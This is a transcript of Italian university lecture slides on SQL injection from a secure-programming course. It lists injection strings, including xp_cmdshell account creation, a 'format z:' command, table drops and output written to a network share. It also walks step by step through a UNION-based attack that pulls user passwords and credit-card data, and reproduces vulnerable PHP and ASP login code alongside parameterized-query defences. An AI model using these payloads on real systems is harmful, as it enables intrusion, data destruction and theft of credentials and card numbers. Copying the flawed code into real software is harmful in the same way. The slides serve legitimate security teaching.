1 / 22

SQL Injection

SQL Injection. Prof. Stefano Bistarelli. C Consiglio Nazionale delle Ricerche Iit Istituto di Informatica e Telematica - Pisa. Università “G. d’Annunzio” Dipartimento di Scienze, Pescara. Setup. User input usato in SQL query esempio: login page (ASP)

Download Presentation

SQL Injection

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. SQL Injection Prof. Stefano Bistarelli CConsiglio Nazionale delle Ricerche IitIstituto di Informatica e Telematica - Pisa Università “G. d’Annunzio”Dipartimento di Scienze, Pescara

  2. Setup • User input usato in SQL query • esempio: login page (ASP) set ok = execute(“SELECT * FROM UserTable WHERE username=′ ” & form(“user”) & “ ′ AND password=′ ” & form(“pwd”) & “ ′ ” ); If not ok.EOF login success else fail; • Quale e’ il problema? S. Bistarelli - Metodologie di Secure Programming

  3. Bad input • Supponiamo user = “ ′or 1 = 1 --” (URL encoded) • Allora lo scripts ottiene: ok = execute( SELECT … WHERE username= ′ ′ or 1=1 -- … ) • poichéè presente ‘- -’ il resto della linea è ignorato. • ora ok.EOF è sempre falso. • The bad news: facile login a molti siti in questo modo. S. Bistarelli - Metodologie di Secure Programming

  4. Even worse • Supponiamo user = ′exec cmdshell ′net user badguy badpwd′ / ADD -- • Allora lo script: ok = execute( SELECT … WHERE username= ′ ′ exec … ) se SQL server è eseguito da “sa” o “root”, attaccante ottiene un account sul DB server. S. Bistarelli - Metodologie di Secure Programming

  5. Demonic strings 2 • Remote execution • '; exec master..xp_cmdshell 'ping 10.10.1.2'– • Get output • '; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" • Insert data • ‘; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'– • Delete data|  • ';drop table users – S. Bistarelli - Metodologie di Secure Programming

  6. Demonic strings  • ' or 1=1--" or 1=1--or 1=1--' or 'a'='a" or "a"="a') or ('a'='a S. Bistarelli - Metodologie di Secure Programming

  7. Avoiding SQL injection • Due suggerimenti: • Query parametriche con parametri tipati e controllati • Uso di store procedure parametrizzate S. Bistarelli - Metodologie di Secure Programming

  8. Query parametriche • Example: Parameterized SQL: (ASP.NET 1.1) • Ensures SQL arguments are properly escaped. SqlCommand cmd = new SqlCommand( "SELECT * FROM UserTable WHERE username = @User AND password = @Pwd", dbConnection); cmd.Parameters.Add("@User", Request[“user”] ); cmd.Parameters.Add("@Pwd", Request[“pwd”] ); cmd.ExecuteReader(); S. Bistarelli - Metodologie di Secure Programming

  9. Prepare-execute procedure pg_query($conn, “PREPARE stmt_name (text) AS SELECT * FROM users WHERE name=$1”); pg_query($conn, “EXECUTE stmt_name ({$name})”); pg_query($conn, “DEALLOCATE stmt_name”); S. Bistarelli - Metodologie di Secure Programming

  10. Magic quotes e real-escape • Magic quotes • file di configurazione php.ini: voce magic_quotes_gpc • funzione addslashes() o funzione mysql_escape_string() su tutte le variabili inserite in una query SQL. • Build SQL queries by properly escaping args: ′  \′ • Nota: mysql escape = \ • Firebird escape = ‘  S. Bistarelli - Metodologie di Secure Programming

  11. In genere • Controllare sempre l’input!! • Vediamo un esercizio  S. Bistarelli - Metodologie di Secure Programming

  12. Fabrikam • Fabrikam has recently introduced a search feature into their product database, but they’ve written it with some rather naïve code. Your first job will be to exploit the SQL injection vulnerability so you understand the implications. Then you’ll go on the defensive and fix the problem. S. Bistarelli - Metodologie di Secure Programming

  13. ‘ or 1=1 – • Good!! • ‘ union select null – • Numero campi query sbagliata • ‘union select null, null – • ok • ‘ union select $0, null, null – • Ora troviamo il tipo dei campi • ‘ union select null, @@version, null – • Versione db! Per vulnerabilita’ conosciute • ' union select null, name, null from sys.databases – • Che altri db ci sono? • ‘ union select null, table_name, null from FabrikamSampleProductDatabase.information_schema.tables -- • Che tabelle nei vari db? • ' union select null, column_name, null from FabrikamSampleProductDatabase.information_schema.columns where table_name='users' -- • Bene che colonne interessanti!! Utenti! • ' union select null,email+', '+password+', '+cc_type+', '+cc_num+', '+cc_exp+', '+cc_vcode,null from Users -- S. Bistarelli - Metodologie di Secure Programming

  14. Some damage  • ' update products set price=.01 where description='MP3 Player' -- • Ora possiamo comprare l’mp3 player • ' exec xp_cmdshell 'net user hacker P@ssw0rd /add' • ' exec xp_cmdshell 'format z:' S. Bistarelli - Metodologie di Secure Programming

  15. Difesa!! • Filter input • searchString = txtSearch.Text;  • searchString = txtSearch.Text.Replace("'","''"); • sandbox the input data in a parameterized query • (visualizzazione progettazione, proprieta’ del selectcommand • select sku, description, price from Products where description like @s order by price • Refresh! • dataSource.SelectCommand = string.Format( "select sku, description, price from Products where description like '%{0}%' order by price", • searchString);  • dataSource.SelectParameters["s"].DefaultValue = '%' + searchString + '%'; S. Bistarelli - Metodologie di Secure Programming

  16. cod1 • if (isset($_POST['user']) && isset($_POST['passwd'])) { • include 'mainfile.php'; • mysql_connect(DB_HOST, DB_USER, DB_PASS); // queste sono le variabili definite nel file 'mainfile.php' • $result=mysql_db_query(DB_NAME,"select * from utenti where username='$_POST[user]' and passwd='$_POST[passwd]'"); • if (mysql_num_rows($result)!=0) { $_SESSION['user']=$_POST['user']; S. Bistarelli - Metodologie di Secure Programming

  17. cod2 • if (isset($_POST['admin_password'])){ • $pwd= $_POST['admin_password']; • if ((ereg("\=", $pwd))) //impedisce l'inserimento di alcuni caratteri • { • echo " <script type='text/javascript'> alert ('Hai utilizzato un carattere non valido') </script>"; • session_destroy(); • }; • }; • if (isset($_POST['admin_user']) && isset($_POST['admin_password'])) { • include '../connessione.php'; • mysql_connect(DB_HOST, DB_USER, DB_PASS); // queste sono le variabili definite nel file 'connessione.php' • $result=mysql_db_query(DB_NAME,"select * from amministratore where admin_user='$_POST[admin_user]' and admin_password='$_POST[admin_password]'"); • if (mysql_num_rows($result)!=0) { $_SESSION['admin_user']=$_POST['admin_user']; • ?> • <script type="text/javascript"> document.location="home_amministratore.php" </script> S. Bistarelli - Metodologie di Secure Programming

  18. $nome_utente = $_POST['username']; • $password = sha1($_POST['password']); • $query="SELECT * FROM MANAGER WHERE NOME_UTENTE='$nome_utente' AND PSWD='$password'"; • $connessione = ibase_query(db_connect(),$query); • if($row=ibase_fetch_object($connessione)) • { • $_SESSION['manager']='logged_in'; • $_SESSION['facolta'] = $row->COD_FACOLTA; • header('Location: genera_cod_step1.php'); • } else • { • $msg_login = "<div style='color: red;'>Nome utente e/o password erra • ti!</div><br />"; • } S. Bistarelli - Metodologie di Secure Programming

  19. if (isset($_POST['pass'])) • { • $pass=filtraggio($_POST['pass'],50); • $query=mysql_query("select * from password where pwd=sha1('$pass')") or mysql_showerror(); • if ($n=mysql_num_rows($query) > 0) • { • $_SESSION['autenticato']=true; S. Bistarelli - Metodologie di Secure Programming

  20. // funzione controllo SQL Injection per dati tipo stringa • function filtraggio($str,$val){ • if ( get_magic_quotes_gpc()) { • $filtro = stripslashes($str); • $filtro1 = mysql_real_escape_string(substr($filtro,0,$val)); • }else • { • $filtro1 = mysql_real_escape_string(substr($str,0,$val)); • } • return $filtro1; • } S. Bistarelli - Metodologie di Secure Programming

  21. cod3 • if (isset($_POST['pin'])){ • $pwd= $_POST['pin']; • if ((ereg("\=", $pwd))) //impedisce l'inserimento di alcuni caratteri • { • echo " <script type='text/javascript'> alert ('Hai utilizzato un carattere non valido') </script>"; • session_destroy(); • }; • }; • if (isset($_POST['pin'])){ • include 'connessione.php'; • mysql_connect(DB_HOST, DB_USER, DB_PASS); // queste sono le variabili definite nel file 'connessione. • php' • $result=mysql_db_query(DB_NAME,"select * from studenti where pin='$_POST[pin]'"); • if (mysql_num_rows($result)!=0) { $_SESSION['pin']=$_POST['pin']; S. Bistarelli - Metodologie di Secure Programming

  22. function SQL_Injection(){ • foreach ($_POST as $chiave => $elemento) { • // elimino i caratteri _ e % sensibili per la parola chiave LIKE • $_POST["$chiave"] = str_replace("%", "", $_POST["$chiave"]); • //sostituisco le parentesi angolari, onde evitare la creazione d • i codice html • $_POST["$chiave"] = str_replace("<", "&lt;", $_POST["$chiave"]); • $_POST["$chiave"] = str_replace(">", "&gt;", $_POST["$chiave"]); • //sostituisco ' con ` • $_POST["$chiave"] = str_replace("'", "`", $_POST["$chiave"]); • //rimuovo gli spazi all'inizio e alla fine • $_POST["$chiave"] = trim($_POST["$chiave"]); • // se magic_quotes_gpc è disattivo, mi appoggio a mysql_real_esc • ape_string() contro attacco di tipo SQL Injection • //if ( !get_magic_quotes_gpc() ) { • // e quoto i caratteri \ " ' sensibili per php • //$_POST["$chiave"] = mysql_real_escape_string($_POST["$chiave"]); • //} • } • } S. Bistarelli - Metodologie di Secure Programming

More Related